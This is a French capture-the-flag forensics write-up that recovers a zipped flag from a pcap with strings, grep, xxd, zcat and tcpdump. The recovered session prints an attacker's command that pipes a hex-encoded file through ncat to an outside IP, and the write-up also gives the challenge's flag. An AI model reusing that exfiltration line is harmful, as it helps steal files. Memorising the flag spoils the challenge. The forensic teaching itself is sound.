Première approche
Le fichier pcap est un fichier contenant des trames réseaux.
On va analyser le fichier brut sans passer par un outil type wireshark & co :
$ strings cap.pcap
RHrX
RHrX'
uid=1001(fcsc) gid=1001(fcsc) groups=1001(fcsc)
qpwd
-/home/fcsc
07:10:25 up 24 min, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
fcsc tty7 :0 06:46 24:47 3.13s 0.00s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc
#Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
ls Documents
flag.zip
Ffile Documents/flag.zip
Documents/flag.zip: Zip archive data, at least v2.0 to extract
xxd -p Documents/flag.zip | tr -d '\n' | ncat 172.20.20.133 20200
5KgZ7
5Kg[
5Kg[
504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000d
5Kg[7
5Kg[
5Kg[7
5Kg\
Iexit
On voit une entrée flag.zip
… cela sent le flag caché dans un fichier ZIP.
En regardant de plus près ce scénario, l’analyse rapide indique qu’une personne s’est connecté à une machine, puis a essayé d’exfiltrer le fichier flag.zip
vers la machine 172.20.20.153
en utilisant un petit ncat
et est parti directement.
Notre fichier zip semble, ici, très important…
À la recheche du ZIP perdu
Le header d’un fichier ZIP est PK. Si on recherche à la brut un header PK dans le fichier pcap :
$ grep PK cap.pcap
$ _
… et on ne retrouve rien.
Si on se souvient, notre personnage mystère a effectué un xxd
du fichier, il l’a donc converti au préalable en hexadécimal brut (plain) avec xxd
avant de l’envoyer par réseau !
Essayons de trouver un header PK mais au format hexadécimal. (PK == 0x50 0x4B
) :
$ grep --text -i ".*50.*4b" cap.pcap
�-�<RI��504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000dօ^�Q
Ah ! On découvre un header qui semble valide, surtout qu’on découvre des signatures complètetes de ZIP :
50 4B 03 04
: Signature ZIP50 4b 01 02
: Signature ZIP50 4b 05 06
: Signature ZIP
Nous allons prendre toute la séquence 504b
jusqu’à la fin et décoder ce flux de données pour voir ce qu’il nous retourne.
Pour cela, nous allons prendre la séquence hexadécimal encodée en simple string et la passer dans xxd
en mode reverse (--revert
) et l’afficher telle quelle (--plain
) :
$ echo "504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000dօ" \
| xxd --revert -plain
P�1�Pe#\9Bflag.txtUT �ȅ^�ȅ^ux
������3cV�h±w���Z���ΎV���Y�*�D�����N>����dԌ(�{|P�1�Pe#\9B��flag.txtUT�ȅ^ux
��PKN�p
Nous constatons que nous avons bien plusieurs occurences de PK et surtout l’entête qui donne la structure d’un fichier ZIP avec le nom d’un fichier très intéressant flag.txt
.
Vu que nous n’avons qu’un fichier, nous allons utiliser zcat pour afficher directement le résultat du flux sortant de xxd
:
Maintenant, ouvrons le coffre fort !
echo "504b0304140000000800a231825065235c39420000004700000008001c00666c61672e7478745554090003bfc8855ebfc8855e75780b000104e803000004e80300000dc9c11180300804c0bfd5840408bc33630356e00568c2b177ddef9eeb5a8fe6ee06ce8e5684f0845997192aad44ecaedc7f8e1acc4e3ec1a8eda164d48c28c77b7c504b01021e03140000000800a231825065235c394200000047000000080018000000000001000000a48100000000666c61672e7478745554050003bfc8855e75780b000104e803000004e8030000504b050600000000010001004e000000840000000000dօ" \
| xxd --revert --plain \
| zcat
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
Et voila !
Analyse optimisée avec tcpdump
Nous pourrions aussi utiliser tcpdump
pour analyser le fichier pcap et en filtrant ce qui nous est inutile en une seule passe :
$ tcpdump -A -r cap.pcap 'src host 172.20.20.132 and tcp port 20200 and length > 100' 2> /dev/null \
| tail -n1 \
| xxd --reverse --plain \
| zcat
FCSC{6ec28b4e2b0f1bd9eb88257d650f558afec4e23f3449197b4bfc9d61810811e3}
zcat
est assez permissif pour que je ne cut pas le préambule avant les données du PKZIP et nous montre le flag complet sans erreur.